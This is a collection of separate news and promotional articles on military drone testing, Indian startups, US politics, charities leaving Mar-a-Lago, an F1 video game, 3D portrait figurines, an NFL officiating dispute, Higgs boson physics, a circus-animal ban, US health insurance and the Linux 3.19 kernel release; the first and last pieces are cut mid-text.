one over Baghdad: a clean sweep.  We positioned ourselves behind the drone to await the launch order. Both engines were started. The canopy was closed, and the self-destruct bomb was armed for use in case the drone went out of control. Finally, the intake screens in front of the engine inlets were removed.  Then came an ominous ground transmission: The “shooter aircraft have problems,” and a storm cell had slung cloud  layers over a wide swath of sky. We sat and waited.  Finally, after a 15-minute delay, the mission was ordered back on.  The drone launch order was soon passed, and the operators got the Phantom rolling. LaCourse made a correction to get the aircraft precisely on centerline as both afterburners lit. Fifteen seconds later, I watched the pilotless aircraft take off.  The F-4 proceeded out over the gulf. The first aircraft fired its missile. The ground controller monitoring the telemetry radioed the air crews: “No hit.”  The Phantom flew on.  My emotions tangled: I wanted the aircraft to survive, but I also wanted it to fulfill its intended mission.  The four F-22 Raptors spread out. Each launched a missile. Over the radio we heard “Fox-four”—all shooters had fired.  Then: “Splash.” A direct hit.  Brackin and I walked back to the van and got in. Brackin was staring straight ahead. Then he turned to me. “So now you know,” he said, grinning. “It takes four Raptors to kill an F-4.”
-India isn’t able to nurture its startups to their full potential.  All the odds are in India’s favor: The world’s fastest-growing major economy has been ranked the third-best destination for technology investments. From Microsoft to Uber, Silicon Valley bigwigs are all setting up offices and development centers in the country. The Indian startup sector is teeming with “soonicorns”—soon to be unicorns (private billion-dollar startups). At the start of 2016, prime minister Narendra Modi launched the Startup India initiative to improve the ecosystem for budding companies through tax exemptions, reduced red tape, patent reforms, better funding channels as well as avenues for incubation and training.  According to“Entrepreneurial India,” a new IBM Institute for Business Value (IBV) report, more than 76% in a survey of over 1,300 Indian executives—600 startup entrepreneurs, 100 venture capitalists, 100 government leaders, 500 leaders of established companies and 22 educational institution leaders—believe that India’s economic openness is a major business advantage. Six in ten recognized that India’s skilled workforce as an asset for businesses. Calls to slash the corporate tax rate from 30% to 25% is “expected to further boost startup activity,” IBM notes.  But despite all the efforts, the industry is built on a flawed foundation. More than 90% of startups in India fail within five years of founding, according to IBM.  The melee of newbies  Aping successful business models is doing the nascent startup industry little good in finding its own bearings.  More than 77% of venture capitalists interviewed by IBM cited the lack of pioneering innovation as a major reason for startups fizzling out. “Indian startups are prone to emulate already successful global ideas,” the report notes. The homegrown Olas and Flipkarts and Snapdeals are proof.  Finding and holding on to the right talent is another big hurdle. Technical institutes in the country churn out 1.5 million engineering graduates each year, but fewer than 5% of them are deemed employable. For years, India’s limited tech talent has also been subject to brain drain. Even though that trend is reversing, it will take years for the effects to show. Especially since startups have lost their grip on Silicon Valley veterans who returned to partake in the dynamic environment. Seven in ten of the venture capitalists in IBM’s survey believe that “talent acquisition is one of the biggest challenges faced by Indian startups, and limited availability of necessary skills impedes growth.”  Startups are also grappling with a funding crunch, according to 65% of the venture capitalists. In the quarter ending March 2017, the volume of initial angel and seed investments more than halved to 120 compared with 245 deals in the same period in 2016. And Series A funding, traditionally secured right after seed funding to expand user bases and develop the businesses, declined 65% in deal value from a year ago.  A lack of knowledgeable and experienced mentors and amateur founders added to the troubled mix.  Bringing back a conscience  Poor business ethics often put investors and founders on different pages, fracturing entire businesses.  Founders often get away with misrepresenting their financials, obscuring future plans and exuding their disregard for regulatory constraints, Economic Times reported. Eventually, the lines between business funds and personal wealth get blurred. (It’s no wonder that India’s richest men also head some of the biggest companies.)  “Thinking of that money as their own, as opposed to taking care of it because the capital is vested in a company or to build a certain technology, affects the organisation, and how people are treated,” Nipun Mehrotra, chief digital officer, IBM India and South Asia, told Economic Times.  Kartik Hosanagar, professor of marketing at the University of Pennsylvania, blames a combination of India’s “overall jugaad mentality” (a makeshift attitude) and “poor governance” for the flouting of laws and the inaccuracies in financial data. For instance, the lack of an active board can mean some of the issues like financial misreporting can go unnoticed.  “Largely, good investors stay out of the way and let founders do their thing. Excessive interference only hurts startup progress,” says Hosanagar. “But a complete absence of governance can be bad too. First-time entrepreneurs can benefit from some hand-holding.”
-During his campaign rally in Michigan on Friday, Donald Trump demanded that President Obama not pardon Hillary Clinton.  “So here’s my question for Hillary Clinton: can you promise that not one of the five people who were granted criminal immunity will ever be allowed to serve in a Clinton Administration?” Trump stated while speaking to thousands in Novi, Michigan. “And here is the demand I am making today to President Obama: will you pledge, here and now, not to issue a pardon to Hillary Clinton and her co-conspirators for their many crimes against our country and society itself?”  “No one is above the law. Not even Hillary Clinton,” he added, while referencing Clinton’s email scandal.  The Washington Post’s Bob Costa first reported that Trump would be making the demand.
-Charities Pull Fundraisers Planned for Trump's Mar-A-Lago  Enlarge this image toggle caption Don Emmert/AFP/Getty Images Don Emmert/AFP/Getty Images  On Friday, three well-known charities — the American Red Cross, the Salvation Army and Susan G. Komen — announced they are canceling plans for fundraising events at President Trump's Palm Beach country club, Mar-a-Lago.  The three joined a growing list of nonprofits that have severed ties with the exclusive, Trump-owned resort. Others include the Cleveland Clinic and the American Cancer Society.  The cancellations come in the wake of Trump's controversial comments made earlier this week when he said that "both sides were to blame" for last weekend's deadly violence involving white supremacists in Charlottesville, Va.  Trump has been under heavy criticism all week for his remarks, which prompted many corporate leaders to bail out of White House advisory boards. So many CEOs resigned that the president responded by disbanding three committees — one focused on shaping business strategy, another on boosting manufacturing and third on improving infrastructure.  After the CEOs started refusing to work with the president, pressure increased on charities to give up their annual trips to Mar-a-Lago for galas.  For example, Cleveland Clinic CEO Toby Cosgrove had served on one of the disbanded business councils. And a day after that dismantling happened, the hospital announced that "after careful consideration," Cleveland Clinic would not hold its 2018 event at Mar-a-Lago.  Earlier this year, despite a petition drive by doctors and medical students, the hospital had refused to cancel its fundraiser there. When medical students and other groups renewed the push recently, Cleveland Clinic remained firm, saying Mar-a-Lago met its needs.  Now, it does not.  The American Red Cross said in its statement that it must provide "assistance without discrimination to all people in need, regardless of nationality, race, religious beliefs, or political opinions."  The charity's connection with the president's club "has increasingly become a source of controversy and pain for many of our volunteers, employees and supporters," it said.  The Salvation Army issued a similar statement, saying its event at Mar-a-Lago helped raise money for disaster victims and the homeless. "Because the conversation has shifted away from the purpose of this event," the group says, "we will not host it at Mar-a-Lago."  Susan G. Komen, a charity that invests in breast cancer research, confirmed it is also withdrawing from Mar-a-Lago and is seeking a new venue for its fundraising event.  The rash of high-profile cancellations has created something of a scramble in Palm Beach as charities look for other suitable venues. The Palm Beach Post says other nearby hotels and the Palm Beach County Convention Center are hearing from interested groups.  For Trump, the cancellations will mean a significant loss of income, unless the staff at Mar-a-Lago finds new customers who want to book a 20,000-square-foot ballroom embellished with 24-karat gold leafing, modeled, as Trump told Florida Design magazine, after Versailles.
-Race like a champion in F1 2015 - get closer than ever before to the experience of racing in the world’s most glamorous, exciting and prestigious motorsport. F1 2015 puts you in the heart of the action with a stunning new game engine that recreates the blisteringly fast and highly responsive racing cars of FORMULA ONE™ and features all-new ‘broadcast presentation’ that immerses you in the unique race day atmosphere. F1 2015 is the official videogame of the 2015 FIA FORMULA ONE WORLD CHAMPIONSHIP™ and also features fully playable 2014 FIA FORMULA ONE WORLD CHAMPIONSHIP™ bonus content. Compete as your favourite FORMULA ONE star in the new Championship Season and push yourself to the limit in the challenging Pro Season mode. Hone your skills in the new Online Practice Session, and then challenge your friends and racing rivals from across the world in Online Multiplayer.  Key Features:  A STUNNING NEW GAME ENGINE – A brand new game engine, built from the ground up for the latest consoles and PCs allows players to experience FORMULA 1™ in unprecedented detail.  THE MOST RELEVANT FORMULA 1 GAME YET – An earlier release in the racing calendar and with free digital updates set to keep the game up to date with the sport during the season, F1 2015 brings fans the most relevant FORMULA 1 video game ever.  THE MOST INCLUSIVE F1 RACING EXPERIENCE EVER – Featuring a naturally authentic purely physics-based handling model with enhancements and additions in over 20 areas, F1 2015 is designed to be player inclusive for both seasoned players and those new to the series.  NEW GAME MODES – Immerse yourself in the new Championship Season, test yourself to the limits in Pro Season or use the new Online Practice Session to hone your skills before taking on rivals across the world in Online Multiplayer.  BONUS CONTENT – Look back at last year’s exciting season and enjoy a fully playable 2014 FIA FORMULA ONE WORLD CHAMPIONSHIP™ as bonus game content.  © 2015 The Codemasters Software Company Limited (“Codemasters”). All rights reserved. “Codemasters”®, “Ego”® and the Codemasters logo are registered trade marks owned by Codemasters. “Codemasters Racing”™ is a trade mark of Codemasters.  An official product of the FIA FORMULA ONE WORLD CHAMPIONSHIP. The F1 FORMULA 1 logo, F1 logo, F1 FIA FORMULA 1 WORLD CHAMPIONSHIP logo, FORMULA 1, FORMULA ONE, F1, FIA FORMULA ONE WORLD CHAMPIONSHIP, GRAND PRIX and related marks are trademarks of Formula One Licensing BV, a Formula One group company. Licensed by Formula One World Championship Limited. All rights reserved.
-Portrait Innovations is announcing a new technology that allows customers to create full-body 3D replicas of themselves or their loved ones. As the only portrait studio in North Carolina with these capabilities, Portrait Innovations uses state-of-the-art photography and 3D printing technology to produce stunningly detailed, lifelike collectibles that people can cherish and display forever. The chance to take advantage of this new keepsake technology is exclusively available at the Portrait Innovations studio located in the Promenade Shopping Center in Charlotte’s Ballantyne area.  The process to create these 3D figurines is actually quite easy using the new technology. An individual or couple enters the 3D Studio and a Portrait Innovations professional photographer captures the perfect 360-degree portrait using 120 high-speed digital cameras simultaneously. This 360-degree image is replicated through a 3D printer. Customers have the choice of four keepsake options:  • Full Standing Figurines: The full size image is turned into a 6- to 8-inch lifelike figurine  • Wedding Cake Topper: Couples can create a full body 8.5-inch figurine to display on their wedding cake, and then keep as a memento following the big day (don’t worry, the groom doesn’t have to see the bride in her wedding dress)  • Character Figurines: At 3 inches tall, the 3D portrait of someone’s face can be added to the body of a caricature, selecting from 30 options ranging from sports, heroes, holiday themes and various jobs  • Mini Toy Head: Adding new excitement to a classic toy, a detailed replica of a loved one’s head is added onto a Lego® person  “Portrait Innovations is thrilled to continue being on the cutting edge of such huge advancements in portraits and keepsakes,” said John Grosso, CEO of Portrait Innovations. “We’re looking forward to consumer feedback in our Ballantyne studio, just a short drive from our corporate headquarters in Charlotte. We think our guests will love the opportunity to create such memorable gifts and hope to roll it out to more studios as we see the demand for such innovative, truly impressive technology.”  Portrait Innovations specializes in providing a customized portrait studio experience with creative possibilities for beautiful, professional print and digital portraits. Guests can also create unique, thoughtful gifts, such as photo books, calendars, jewelry, playing cards, puzzles, greeting cards and much more. The company has 187 locations nationwide and photographers at each studio have been trained in the newest posing and photography techniques to work with newborns, children, families, graduates, religious milestones and large groups. Additional information can be found at http://www.portraitinnovations.com.  Prices for the new 3D keepsake figurines range depending on the size, style and scope. To officially roll out the program in Charlotte, the company is offering 25 percent off all 3D portrait figurines before Sunday, July 31. The Ballantyne studio is located in the Promenade Shopping Center at 5349 Ballantyne Commons Parkway, and can be contacted at (704) 844-8633.
-The Bills and Seahawks played one of the best games of the season in Seattle's 31-25 victory Monday. But much of the talk after the game was about the confusing, regrettable end to the first half.  Or as Bills coach Rex Ryan called it: "Ridiculous. Absolutely ridiculous."  A missed unnecessary roughness penalty coupled by the referees failing to reset the play clock on a successful field-goal attempt played a role in the Bills' loss.  Dean Blandino, NFL senior vice president of officiating, said on NFL Total Access Endgame after the game that the referees made two mistakes in the bizarre sequence just before halftime.  "It should have been unnecessary roughness," Blandino said about Seahawks cornerback Richard Sherman's hit on Bills kicker Dan Carpenter on a 53-yard field goal attempt. Sherman only was deemed offsides on the play.  "The referee didn't think that the contact was severe enough, he felt that players were coming together and he just didn't think it was a foul," Blandino said. "We looked at it, it is a foul."  On the ensuing field-goal attempt, the referees flagged the Bills for delay of game even though an official was over the ball with less than 10 seconds remaining on the game clock. Blandino said referees need to reset the game clock if they're handling the ball with fewer than 20 seconds left on it.  For posterity, let's try to break down the entire sequence of events before we all try to forget it ever happened:  1. The Bills attempted a 53-yard field goal with three seconds left in the half. Sherman jumped clearly offside on the play and took out Bills kicker Carpenter at the knees, blocking the kick in process.  2. Somehow, a personal foul for unnecessary roughness wasn't called. Blandino confirmed this was a mistake.  3. Carpenter briefly writhed on the field in pain, but popped up and appeared to be fine once the trainers came out to talk to him.  4. Because the Bills were out of timeouts, the Bills were charged a "fourth timeout" and Carpenter was forced to leave the game. So the Bills were heavily punished for having their kicker get taken out at the knees. If the unnecessary roughness penalty had been called correctly, Carpenter would not have been forced to leave.  5. This is the point that Ryan lost his mind the first time. For some reason, the Bills players got confused and started running off the field with three seconds left. This inspired my favorite quote of the year from referee Walt Anderson.  "The half is not over! The half is not over! There's three seconds left on the clock!" Anderson pleaded like a parent trying to round up his children for dinner.  6. Buffalo's coaching staff had the presence of mind to remove Carpenter from the game and spike the ball with one second left.  7. Carpenter then got on the field and nailed a 48-yard field goal, but the play didn't count. The Bills were called for a delay of game penalty. That penalty happened in large part because the officials didn't set the ball down until roughly five seconds were left on the play clock.  8. Carpenter then missed his 53-yard field-goal attempt. Of course.  The Seahawks celebrated like they won the Super Bowl, Rex's head looked like it was going to explode, and we all got just a little bit closer to death.  "We're absolutely going to address it," Blandino said. "... We want to see what happened and just walk through the steps of where the breakdown was. So regardless of the outcome of the game, we're going to address the situation with our crew."  After the game, Ryan relayed an exchange he had with Sherman following a third quarter interception.  "He's mean-mugging like he's always doing and whatever," Ryan said. "It was a ridiculous play, no question. Then he's over on the sideline basically taunting us, so I had some words. I think I said 'You're too good a player to act like an ass.' "
-Image caption Collisions at the LHC in Geneva have refined a mass for the Higgs-like particle  Scientists say they may be able to determine the eventual fate of the cosmos as they probe the properties of the Higgs boson.  A concept known as vacuum instability could result, billions of years from now, in a new universe opening up in the present one and replacing it.  It all depends on some precise numbers related to the Higgs that researchers are currently trying to pin down.  A "Higgs-like" particle was first seen at the Large Hadron Collider last year.  Associated with an energy field that pervades all space, the boson helps explain the existence of mass in the cosmos. In other words, it underpins the workings of all the matter we see around us.  Since detecting the particle in their accelerator experiments, researchers at the Geneva lab and at related institutions around the world have begun to theorise on the Higgs' implications for physics.  One idea that it throws up is the possibility of a cyclical universe, in which every so often all of space is renewed.  "It turns out there's a calculation you can do in our Standard Model of particle physics, once you know the mass of the Higgs boson," explained Dr Joseph Lykken.  This bubble will then expand, basically at the speed of light, and sweep everything before it Dr Joseph Lykken, Fermi National Accelerator Laboratory  "If you use all the physics we know now, and you do this straightforward calculation - it's bad news.  "What happens is you get just a quantum fluctuation that makes a tiny bubble of the vacuum the Universe really wants to be in. And because it's a lower-energy state, this bubble will then expand, basically at the speed of light, and sweep everything before it," the Fermi National Accelerator Laboratory theoretician told BBC News.  It was not something we need worry about, he said. The Sun and the Earth will be long gone by this time.  Dr Lykken was speaking here in Boston at the annual meeting of the American Association for the Advancement of Science (AAAS).  He was participating in a session that had been organised to provide an update on the Higgs investigation.  Two-year hiatus  The boson was spotted in the wreckage resulting from proton particle collisions in the LHC's giant accelerator ring.  Data gathered by two independent detectors observing this subatomic debris determined the mass of the Higgs to be about 126 gigaelectronvolts (GeV).  What is an electronvolt? Image caption The LHC's experiments create showers of particles Charged particles tend to speed up in an electric field, defined as an electric potential - or voltage - spread over a distance  One electron volt (eV) is the energy gained by a single electron as it accelerates through a potential of one volt  It is a convenient unit of measure for particle accelerators, which speed particles up through much higher electric potentials  The first accelerators only created bunches of particles with an energy of about a million eV  The LHC can reach particle energies a million times higher: up to several teraelectronvolts (TeV)  This is still only the energy in the motion of a flying mosquito  But LHC beams include hundreds of trillions of these particles, each travelling at 99.99999999% of the speed of light  Together, an LHC beam carries the same energy as a TGV high-speed train travelling at 150 km/h  That was fascinating, said Prof Chris Hill of Ohio State University, because the number was right in the region where the instability problem became relevant.  "Before we knew, the Higgs could have been any mass over a very wide range. And what's amazing to me is that out of all those possible masses from 114 to several hundred GeV, it's landed at 126-ish where it's right on the critical line, and now we have to measure it more precisely to find the fate of the Universe," he said.  Prof Hill himself is part of the CMS (Compact Muon Solenoid) Collaboration at the LHC. This is one of the Higgs-hunting detectors, the other being Atlas.  Scientists have still to review about a third of the collision data in their possession. But they will likely need much more information to close the uncertainties that remain in the measurement of the Higgs' mass and its other properties.  Indeed, until they do so, they are reluctant to definitively crown the boson, preferring often to say just that they have found a "Higgs-like" particle.  Frustratingly, the LHC has now been shut down to allow for a major programme of repairs and upgrades.  "To be absolutely definitive, I think it's going to take a few years after the LHC starts running again, which is in 2015," conceded Dr Howard Gordon, from the Brookhaven National Laboratory and an Atlas Collaboration member.  "The LHC will be down for two years to do certain repairs, fix the splices between the magnets, and to do maintenance and stuff. So, when we start running in 2015, we will be at a higher energy, which will mean we'll get more data on the Higgs and other particles to open up a larger window of opportunity for discovery. But to dot all the I's and cross all the T's, it will take a few more years."  If the calculation on vacuum instability stands up, it will revive an old idea that the Big Bang Universe we observe today is just the latest version in a permanent cycle of events.  "I think that idea is getting more and more traction," said Dr Lykken.  "It's much easier to explain a lot of things if what we see is a cycle. If I were to bet my own money on it, I'd bet the cyclic idea is right," he told BBC News.  The Standard Model and the Higgs boson • The Standard Model is the simplest set of ingredients - elementary particles - needed to make up the world we see in the heavens and in the laboratory • Quarks combine together to make, for example, the proton and neutron - which make up the nuclei of atoms today - though more exotic combinations were around in the Universe's early days • Leptons come in charged and uncharged versions; electrons - the most familiar charged lepton - together with quarks make up all the matter we can see; the uncharged leptons are neutrinos, which rarely interact with matter • The "force carriers" are particles whose movements are observed as familiar forces such as those behind electricity and light (electromagnetism) and radioactive decay (the weak nuclear force) • The Higgs boson came about because although the Standard Model holds together neatly, nothing requires the particles to have mass; for a fuller theory, the Higgs - or something else - must fill in that gap  Jonathan.Amos-INTERNET@bbc.co.uk and follow me on Twitter: @BBCAmos
-The Montgomery County Council has scheduled a public hearing on Bill 23-17, which was introduced by Councilmembers Craig Rice and George Leventhal last month. Bill 23-17 would ban performing animals from the traveling circuses that seek to set up in the County. The bill does not apply within the cities of Rockville and Gaithersburg.  The hearing on Bill 23-17 will take place during the County Council’s regular meeting on July 18. The hearing on the ban on performing animals is estimated to take place about 1:30 pm after the recess.  “The closing of the Barnum and Bailey Circus, which was driven by the concern for the way performing animals were treated, is a major driver behind this bill,” said Councilmember Rice. “Ironically, animals in a large circus such as that one likely were treated better than the animals who are in much smaller circuses with less resources. There are dozens of those type of circuses that go around the country and set up in an empty parking lot.”  The change to the County’s Animal Control law would ban a person or business from profiting by the exhibition of wild animals in a traveling animal act. Wild animals include chimpanzees, baboons, monkeys, lions, tigers, cougars, leopards, ocelots, wolves, coyotes, bears, kangaroos, elephants, crocodiles, alligators, snakes, hippopotamuses, rhinos, giraffes and camels.  Exempted from the law would be shows that showcase domestic animals that might be found at an exhibition such as a county or neighborhood fair. Exempted animals include dogs and cats, domestic cattle, swine, sheep, goats, domestic horses, donkeys or mules.  Councilmember Leventhal said that the proposed bill addresses protecting wild animals while also preserving traditions that have a focus on domestic animals that are cared for by individuals and families.  “The proposed bill will serve to protect wild and exotic animals, which are often mistreated and exploited in captivity,” Councilmember Leventhal said. “Displays of wild and exotic animals cannot be healthy or safe for the animals. They are forced to travel, are caged and displayed at all hours. I am gratified that a majority of Councilmembers is cosponsoring the bill.”  The Montgomery County Republican party released a statement today calling the proposed ban a waste of taxpayers money. “Rather than focus on real concerns of Montgomery County residents who have children attending public schools alongside MS13 members, Councilmember and Chairman of the County’s Education Committee Craig Rice is wasting his time and your tax dollars to push for legislation to prevent circus animals from coming into the county.”  Tom Ferleman, who is a candidate for Craig Rice’s seat as the District 2 representative on the County Council in the 2018 election said, “"The County Council should not waste time and taxpayer funds on silly bills; there are real issues in the County like gang violence and declining school rankings. The County Council should be embarrassed that they are having a hearing on circus animals, they are the circus and this is what we get for a 9 percent property tax increase. Rice’s circus bill is an example of why county voters passed by a whopping 70 percent, the term limits provision in the 2016 general elections. The County Council needs to focus on real issues not silly measures like this."
-WASHINGTON (Reuters) - Texan Sam Lovett had no health insurance in August 2010 when an emergency hospital stay brought the news from his doctors that his liver was failing and he could die within less than a year without a transplant.  The small distribution center where he worked did not provide health insurance. Lovett, 43, who lives near Comfort, Texas, was not able to buy private coverage on his own because of his already bad health. Though he had the resources to cover routine medical bills, he now needed a $400,000 organ transplant and no doctor or clinic would take him without insurance.  “They were making arrangements to send me to a hospice. One doctor flatly told me that I had a better chance of leaving the hospital dead than alive,” said Lovett, who had a history of alcoholism and obesity.  But in the months that followed, Lovett was able to enroll in the Pre-Existing Condition Insurance Plan (PCIP). The program was created by the healthcare law that President Barack Obama, a Democrat, signed in March 2010 despite the united opposition of Republicans in Congress. The program paid for Lovett’s transplant surgery at the Mayo Clinic in Phoenix last December.  PCIP is a temporary government program set up to run until 2014, when the Obama healthcare law is due to take full effect and prevent insurance companies from the common practice of denying people coverage due to pre-existing medical conditions. About 60,000 Americans already are receiving medical coverage through the program, according to the Obama administration.  As the U.S. Supreme Court prepares to rule in the next few weeks on whether to overturn the law considered to be Obama’s signature domestic policy achievement, Lovett said the choice is very clear for him and others unable to get insurance without the statute’s provisions.  “Without this, you’re going to die,” Lovett said in an interview arranged by the Consumers Union organization, which supports the law. “From my perspective, that’s what the Supreme Court will sanction, or not - whether people will be allowed to die because they can’t get insurance.”  Unlike people in many other rich nations where health insurance is near universal, many Americans struggle without medical coverage even as the country pays more for healthcare than anywhere else in the world. The U.S. healthcare system is a patchwork of private insurance and restrictive government programs that has left tens of millions uninsured.  Many Americans receive health insurance only because their employers provide it as a job benefit. But some companies, particularly smaller employers, do not offer it. People with pre-existing medical conditions often are denied private coverage when they try to buy it on their own.  The Obama law represented the $2.6 trillion U.S. healthcare system’s biggest overhaul in nearly 50 years. Twenty-six of the 50 U.S. states - including Lovett’s home state of Texas - and a small business trade group challenged the law in court.  The Supreme Court heard three days of historic arguments in March on the fate of the law. A ruling is expected by the end of June.  PCIP is only one facet of a law intended to extend coverage to more than 30 million more Americans, create competitive health insurance exchanges in all 50 states and find new ways to deliver effective healthcare at lower costs.  Opponents of the law say it represents an encroachment by the federal government on the individual right to choose healthcare, meddles in the business of the states, and would saddle consumers with higher costs and less access to care.  Should the high court overturn the law, its provisions could become invalid immediately.  ‘START OVER’  Although conservatives revile the law, Republicans and other critics agree something should be done to give insurance access to people with pre-existing conditions and other health issues. Several Republican bills in Congress would create new insurance pools for extending affordable coverage.  “We need to get rid of the entire thing and start over with a very deliberative process,” said Sean Spicer, a spokesman for the Republican National Committee. “There’s bipartisan recognition that these are valid concerns that need to be addressed. But we need to do it in a way that doesn’t put government in the middle of healthcare.”  Mitt Romney, Obama’s Republican challenger in the November 6 U.S. election, has called for repealing the law.  If the whole law or key provisions are struck down, it may be tough to get any alternatives through a Congress in partisan gridlock even after the election. Republicans currently control the House of Representatives and Obama’s fellow Democrats the Senate.  Republican lawmakers are working on an alternative healthcare agenda should the law be struck down. They may seek to reinstate some of its more popular consumer protections such as a provision, already in effect, that lets young adults remain under their parents’ health insurance plans to age 26.  But the uninsured or uninsurable could wait months or years for an alternative plan to help them. Meanwhile, many people without insurance fear that a major illness could lead to astronomical healthcare bills and doom them to bankruptcy.  Statistics show that as many as one in four working-age American adults go without health insurance in a given year, often due to unemployment and other job changes.  Helen Berger of Boise, Idaho, said she has not seen a doctor since her husband, Russ, lost his information technology job 10 months ago.  They had the option of paying to continue to get his former employer’s insurance plan under a U.S. law known as COBRA. But the $1,350 monthly premium was way more than they could afford on his $336-a-week government unemployment check.  Her 2-year-old son and 8-year-old daughter are eligible for a government health assistance program for children. The family also qualifies for $400 a month in food stamps.  Joining the state-federal Medicaid program for the poor would mean giving up assets including their home, she said. So Helen, 55, and Russ Berger, 57, are going without coverage until he can find another job or a charitable health clinic.  “We’re going in the hole (financially) every month without having to pay any health insurance. And now we’re coming up on a year being on unemployment (benefits), not knowing if that will continue,” Helen Berger said in an interview arranged by the advocacy group Families USA, which supports the law.  Because information technology specialists like her husband often land jobs as outside contractors without health benefits, Berger said a return to employment likely would mean they would have to buy their own insurance. She said she hopes affordable medical coverage will become available once the state insurance exchanges are launched as scheduled under the Obama law in 2014.  “If anything happens between now and then, we’re kind of in a bad place,” she said.  Her state, Idaho, also is among those challenging the law.  ‘I’LL BELIEVE IT WHEN I SEE IT’  Gail Richardson of Stone Mountain, Georgia, said she is skeptical the law will help her, but hopes to qualify for its expanded Medicaid eligibility, which also would begin in 2014.  “I just found out about it and was really happy. I used to think it would benefit a lot of people but not me,” she said. “But I still say I’ll believe it when I see it.”  Richardson, a 59-year-old freelance writer, has autoimmune liver disease and psoriatic arthritis. With an annual income of about $11,000, she said she cannot afford to join the PCIP program that paid for Lovett’s liver transplant.  That’s because the law requires PCIP coverage to be priced in line with plans for healthy customers in each state. In Georgia, the standard PCIP plan for someone her age costs $470 a month in premiums and can lead to out-of-pocket expenses such as deductibles and co-pays of $5,950 to $7,000.  Richardson is not eligible for Medicaid in Georgia, which is available in the state to adults without children only if they are elderly, disabled, blind, pregnant or suffering from certain forms of cancer. She gets much of her medical needs at discounted prices, or for free from assistance programs offered by drug companies and a supermarket pharmacy chain.  “I pay about $54 for three months’ worth of one prescription and get the other two free. My doctor does blood work every six months and charges about $78 per visit, which I repay in monthly installments,” Richardson said in an interview arranged by Consumers Union. “You can see how that’s dwarfed by the expense of premiums I couldn’t possibly afford.”  The Obama law would expand Medicaid to cover people with annual incomes of up to 133 percent of the federal poverty level, or about $15,000.  Related Coverage Factbox: Health benefits Americans could lose in court ruling  “I’d have peace of mind, knowing that if something serious happened to me, I’d be able to get care,” she said.  Her state also was among those challenging the law, including the Medicaid expansion.
-Linux 3.19 was released, to be followed by either a version 3.20 or 4.0. Also, the 2015 Linux Kernel Report reveals a growing rate of kernel contributions.  Linux kernel 3.19 was released on Feb. 8 (see farther below). Meanwhile, the next release has a good chance of being renamed from Linux 3.20 to Linux 4.0. As reported by LinuxPlanet, Linus Torvalds posted an entry on Google+ saying he is opening up the question of naming to the community before he makes a decision.  “I’m once more close to running out of fingers and toes,” wrote the Linux creator. “So — continue with v3.20, because bigger numbers are sexy, or just move to v4.0 and reset the numbers to something smaller?”  So far, Linux 4.0 has been outscoring Linux 3.20 among community voters, says LinuxPlanet. Like the Linux 3.0 kernel released in 2011, the 4.0 (or 3.20) release will be more or less like any other incremental release. There is one major new feature, however: live kernel patching.  A joint development of enterprise distro vendors Red Hat and SUSE, live kernel patching is inspired by MIT’s Ksplice. Red Hat and SUSE announced their respective technologies around the same time, and found so many similarities they decided to merge their efforts.  The live patching (code redirection) feature includes an API for kernel modules containing the patches, as well as an API/ABI for userspace that lets developers work with them. The technology is said to use existing kernel infrastructure, such as ftrace, as much as possible. Initially it supports x86, but is being ported to other architectures.  Linux 3.19  The new Linux 3.19 kernel, meanwhile, improves support for Btrfs file system scrubbing, adds RAID hotswap features, and offers Intel memory buffering enhancements, as well as Device Tree Overlays to ease development of the expansion buses found on community-backed SBCs. Support for several new processors has also been added.  According to Kernelnewbies.org, major enhancements in the just released Linux 3.19 include:  Btrfs scrubbing support  Fast device replacement with RAID 5 and 6  Intel Memory Protection Extensions that help to stop buffer overflows  AMD HSA architecture support  Support for the debugging ARM Coresight subsystems  Altera Nios II CPU architecture  Networking infrastructure for routing and switching offloading  Device Tree Overlays to support expansion buses found on consumer SBCs like the BeagleBone or Raspberry Pi  Support for hole punching and pre-allocation in NFSv4.2  Android binder moved from staging area to stable  (click to enlarge)  2015 Linux Kernel Development report  The Linux 3.19 release was followed by the publication of the Linux Foundation’s quasi-annual Linux Kernel Development report, which reveals key stats and trends in kernel development. Since the previous Linux Kernel Development report from Sept. 2013, which followed the release of 3.10, major new Linux kernel features are said to include:  O_TMPFILE option for the creation of temporary files  NFS 4.2 support  Virtualization support on ARM64 with Xen and KVM  Zswap compressed swap cache  Support for using GPU rendering engines independently of a graphical display  Multiqueue block layer for improved high-end disk I/O performance  Nftables firewall to eventually replace iptables  Realtime earliest-deadline-first scheduler  Numerous networking improvements  Major reworking of the control group subsystem  File sealing support for secure interprocess communication (IPC)  Overlayfs union filesystem’  Hundreds of new drivers, thousands of fixes  According to the new report, more than 96,000 Linux kernel changesets have been merged from 4,169 individual developers representing approximately 518 corporations since Sept. 2013. All these numbers have risen since the earlier report. Some 1,458 developers and 239 companies contributed to the Linux 3.18 kernel released in December.  The Linux kernel project, which oversees the largest and most important component of the many modules that comprise a typical “Linux system,” continues to be the largest and most open source project in the world. “There may be no other examples of such a large, common resource being supported by such a large group of independent actors in such a collaborative way,” says the report.  Faster pace, larger kernel  The accelerating pace of patch contributions merged into the Linux kernel reflects improved testing infrastructure, says the report. For example, during the last 17 months, the “zero-day build and boot robot” self-test framework alone found nearly 500 bugs, all of which were fixed. The zero-day bot is expected to improve over the next year, along with other testing technologies.  Kernel Development History  (data source: Linux Foundation)  Release Date Dev days Files Lines Changes Chgs/hour 3.11 9/2/13 64 44,017 17,407,037 10,893 7.09 3.12 11/3/13 62 44,601 17,730,630 10,927 7.34 3.13 1/19/14 77 44,985 17,934,674 12,127 6.56 3.14 3/30/14 70 45,950 18,275,747 12,311 7.33 3.15 6/8/14 70 46,795 18,636,331 13,722 8.17 3.16 8/3/14 56 47,440 18,882,881 12,804 9.53 3.17 10/5/14 63 47,505 18,868,140 12,354 8.17 3.18 12/7/14 63 47,986 18,997,848 11,379 7.53 Overall: 525 96,517 7.7  Since the release of the 3.10 kernel, patches have been merged at an average rate of 7.71 per hour, says the LF. The speedup has helped accelerate kernel development cycles, which have dropped from about 70 days in 2013 to just under 66 days.  The Linux kernel was comprised of only about 10,000 lines of code when Linus Torvalds released the first version in 1991, but has now grown from 17 million lines in Sept. 2013 to 19 million today. It might have been more than that if not for a rare drop in total lines of code in the 3.17 release when the kernel community stripped out a variety of old and unmaintained drivers. The only other time the kernel has shrunk was with the release of kernel 2.6.36 in 2010.  When it comes to the rate of kernel releases and the growth in kernel size, more is not always better. The consensus opinion in the community is that the current six to 12 week cycle is ideal. If the cycle is too short, there’s not enough time for testing, says the LF.  Meanwhile, Torvalds has long warned about the kernel growing too bloated, which led to the removal of drivers. Then again, to keep up with all the developments from server virtualization to new embedded technologies the kernel will probably need to keep growing.  More developers, but fewer volunteers 